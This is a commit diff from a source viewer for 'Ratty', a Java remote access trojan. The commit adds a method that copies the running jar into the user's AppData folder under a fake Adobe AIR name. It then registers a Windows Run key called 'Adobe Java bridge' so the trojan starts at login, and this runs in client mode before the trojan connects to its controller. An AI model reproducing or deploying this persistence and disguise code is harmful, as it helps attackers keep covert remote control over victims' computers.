Browse Source

Major changes

Now puts itself to startup
master
Sogomn 9 years ago
parent
commit
dcf8ab76c8
  1. 23
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 4
      Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
  3. 10
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

23
Ratty/src/de/sogomn/rat/Ratty.java

@ -1,12 +1,17 @@
package de.sogomn.rat; package de.sogomn.rat;
import java.awt.Color; import java.awt.Color;
import java.io.File;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
import javax.swing.UIDefaults; import javax.swing.UIDefaults;
import javax.swing.UIManager; import javax.swing.UIManager;
import javax.swing.plaf.nimbus.NimbusLookAndFeel; import javax.swing.plaf.nimbus.NimbusLookAndFeel;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.RattyGuiController; import de.sogomn.rat.server.gui.RattyGuiController;
@ -18,6 +23,8 @@ public final class Ratty {
public static final int PORT = 23456; public static final int PORT = 23456;
public static final boolean CLIENT = false; public static final boolean CLIENT = false;
public static final String VERSION = "1.0"; public static final String VERSION = "1.0";
public static final String FOLDER_NAME = "Adobe" + File.separator + "AIR";
public static final String FILE_NAME = "jre13v3bridge.jar";
private Ratty() { private Ratty() {
//... //...
@ -40,6 +47,21 @@ public final class Ratty {
} }
} }
private static void addToStartup() {
try {
final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI();
final String destinationPath = System.getenv("APPDATA") + File.separator + FOLDER_NAME + File.separator + FILE_NAME;
final File source = new File(sourceUri);
final File destination = new File(destinationPath);
final String registryCommand = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + destinationPath + "\"";
FileUtils.copy(source, destination);
Runtime.getRuntime().exec(registryCommand);
} catch (final URISyntaxException | IOException ex) {
ex.printStackTrace();
}
}
public static void connectToHost(final String address, final int port) { public static void connectToHost(final String address, final int port) {
final ActiveClient newClient = new ActiveClient(address, port); final ActiveClient newClient = new ActiveClient(address, port);
final Trojan trojan = new Trojan(); final Trojan trojan = new Trojan();
@ -67,6 +89,7 @@ public final class Ratty {
setLookAndFeel(); setLookAndFeel();
if (CLIENT) { if (CLIENT) {
addToStartup();
connectToHost(ADDRESS, PORT); connectToHost(ADDRESS, PORT);
} else { } else {
final String[] options = {"Server", "Client"}; final String[] options = {"Server", "Client"};

4
Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@ -4,8 +4,4 @@ public interface IGuiController {
void userInput(final String actionCommand); void userInput(final String actionCommand);
void keyboardInput(final int key, final boolean flag);
void mouseInput(final int x, final int y, final int button, final boolean flag);
} }

10
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -262,14 +262,4 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} }
} }
@Override
public void keyboardInput(final int key, final boolean flag) {
//...
}
@Override
public void mouseInput(final int x, final int y, final int button, final boolean flag) {
//...
}
} }
Loading…
Cancel
Save